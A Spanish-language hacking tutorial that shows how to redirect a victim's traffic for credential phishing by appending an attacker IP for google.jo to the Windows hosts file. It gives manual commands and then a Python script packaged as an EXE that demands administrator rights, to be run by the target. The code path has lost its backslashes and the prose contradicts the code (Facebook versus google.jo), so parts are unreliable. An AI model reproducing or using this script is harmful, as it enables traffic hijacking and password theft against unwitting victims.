Phishing para obtener contraseñas mediante envenenamiento de DNS

La suplantación de identidad o phishing se refiere a la obtención de información confidencial, como contraseñas, nombres de usuario o incluso datos bancarios, etc.

Los ciberdelincuentes o los atacantes atraen a los clientes para que compartan sus datos personales enviándoles correos electrónicos que parecen provenir de organizaciones populares.

En este tutorial, aprenderás cómo implementar el phishing de contraseñas utilizando el envenenamiento de DNS; esta es una forma de hacking

En el envenenamiento de DNS (DNS poisoning), se inyectan datos corruptos del sistema de nombres de dominio en el caché del solucionador de DNS. Esto hace que el servidor de nombres proporcione un registro de resultados incorrecto. Tal método puede hacer que el tráfico se dirija al sistema informático del hacker.

Phishing de contraseñas – Envenenamiento de DNS

Una de las formas más fáciles de manipular la dirección del tráfico de forma remota es jugar con registros DNS.

Cada sistema operativo contiene un archivo host para asignar estáticamente nombres de host a direcciones IP específicas.

El archivo host es un archivo de texto sin formato, que puede reescribirse fácilmente siempre que tengamos privilegios de administrador. Por ahora, echemos un vistazo rápido al archivo host en el sistema operativo Windows.

En Windows, el archivo se ubicará en C:\Windows\System32\drivers\etc. Echemos un vistazo al contenido del archivo host:

Si lees la descripción, verás que cada entrada debe ubicarse en una línea separada. Además, hay una muestra del formato de registro, donde la IP debe colocarse primero. Luego, después de al menos un espacio, sigue el nombre.

También verás que la dirección IP de cada registro comienza primero y luego obtenemos el nombre de host.

Ahora, veamos el tráfico en el nivel de paquete:

1. Debes abrir Wireshark en la máquina objetivo y comenzar la captura.

2. Filtrar en la dirección IP del atacante:

Dirección IP

Tenemos una dirección IP de 10.10.10.100, que es la dirección IP de nuestro atacante. Podemos ver el tráfico antes de envenenar los registros DNS. Debes hacer clic en Aplicar para completar el proceso.

3. Tienes que abrir https://www.google.jo/?gws_rd=ssl. Ten en cuenta que una vez que hagamos ping al nombre desde la línea de comandos, el sistema operativo en segundo plano hará una búsqueda de DNS:

Obtendremos la dirección IP real. Ahora, observa lo que sucede después del envenenamiento de DNS. Para esto, debes cerrar todas las ventanas excepto la que está ejecutando la aplicación Wireshark.

Ten en cuenta que debemos ejecutarnos como administradores para poder modificar el archivo host.

4. Ahora, a pesar de que nos estamos ejecutando como administrador, cuando se trata de ejecutar una aplicación, debes hacer clic derecho explícitamente y luego ejecutarla como administrador.

5. Navega hasta el directorio donde se encuentra el archivo hosts.

6. Ejecuta dir y obtendrás el archivo hosts.

7. Ejecuta type hosts. Puedes ver el host original aquí.

8. Ahora, ingresaremos el siguiente comando

echo 10.10.10.100 www.google.jo >> hosts

Nuestra máquina

10.10.100, es la dirección IP de nuestra máquina Kali. Entonces, una vez que el objetivo va a google.jo, debe ser redirigido a la máquina atacante.

9. Una vez más, debes verificar el host mediante la ejecución de type hosts.

10. Ahora, después de hacer una modificación de DNS, siempre es bueno vaciar la caché de DNS, solo para asegurarte de que usaremos el registro actualizado. Para esto, ingresa el siguiente comando:

ipconfig /flushdns

11. Ahora, observa lo que sucede después del envenenamiento de DNS. Para esto, abriremos nuestro navegador y navegaremos a https://www.google.jo/?gws_rd=ssl. Observa que en Wireshark el tráfico va a la dirección IP de Kali en lugar de a la dirección IP real de google.jo. Esto se debe a que la resolución DNS para google.jo es 10.10.10.100.

12. Dejaremos de capturar y recuperaremos el archivo hosts original. Luego colocaremos ese archivo en la carpeta drivers\etc.

13. Posteriormente, primero eliminaremos el caché de DNS envenenado ejecutando:

ipconfig /flushdns

14. Luego, debes abrir el navegador nuevamente. Deberíamos ir a https://www.google.jo/?gws_rd=ssl ahora mismo. ¡Ahora estamos listos para continuar!

Usando un script de Python

Ahora automatizaremos los pasos, pero esta vez a través de un script de Python.

Debes abrir el script e ingresa rel siguiente código:

# Python For Offensive PenTest
# DNS_Poisoning

import subprocess
import os

os.chdir("C:WindowsSystem32driversetc") # change the script directory to ..etc where the host file is located on windows

command = "echo 10.10.10.100 www.google.jo >> hosts" # Append this line to the host file, where it should redirect
# traffic going to google.jo to IP of 10.10.10.100
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

command = "ipconfig /flushdns" # flush the cached dns, to make sure that new sessions will take the new DNS record
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

Lo primero que haremos es cambiar nuestro directorio de trabajo actual para que sea el mismo que el archivo host, y eso se hará usando la biblioteca OS. Luego, usando subprocesos, agregaremos un registro DNS estático, apuntando a Facebook a 10.10.10.100: la dirección IP de Kali.

En el último paso, limpiaremos el registro DNS. Ahora podemos guardar el archivo y exportar el script a EXE.

Recuerda que debemos hacer que el objetivo lo ejecute como administrador. Para hacer eso, en el archivo de configuración para py2exe, agregaremos una nueva línea, de la siguiente manera:

...
     windows = [{'script': "DNS.py", 'uac_info': "requireAdministrator"}],
...

Por lo tanto, hemos agregado una nueva opción, que especifica que cuando el objetivo ejecute el archivo EXE, le pediremos que eleve nuestro privilegio a administrador. Para hacer esto, necesitaremos privilegios de administrador.

Ejecutemos el archivo de configuración y comencemos una nueva captura. Ahora, copiaré nuestro archivo EXE en el escritorio. Observa aquí que tenemos un pequeño escudo que indica que este archivo necesita un privilegio de administrador, lo que nos dará el resultado exacto para ejecutarlo como administrador.

Ahora, ejecutemos el archivo. Verifica que el archivo del host se modifique. Verás que nuestra línea ha sido agregada.

Ahora, abre una nueva sesión y veremos si obtuvimos la redirección. Entonces, comencemos una nueva captura, y agregaremos Firefox. Como verás, la búsqueda de DNS google.jo apunta a nuestra dirección IP, que es 10.10.10.100.

Aprendimos a realizar el phishing de contraseñas utilizando el envenenamiento de DNS. Si te ha gustado leer la publicación, puedes tomar cursos para aprender cómo hackear contraseñas. También puedes aprender a realizar una escalada de privilegios en Windows con ejemplos prácticos.

Deja un comentario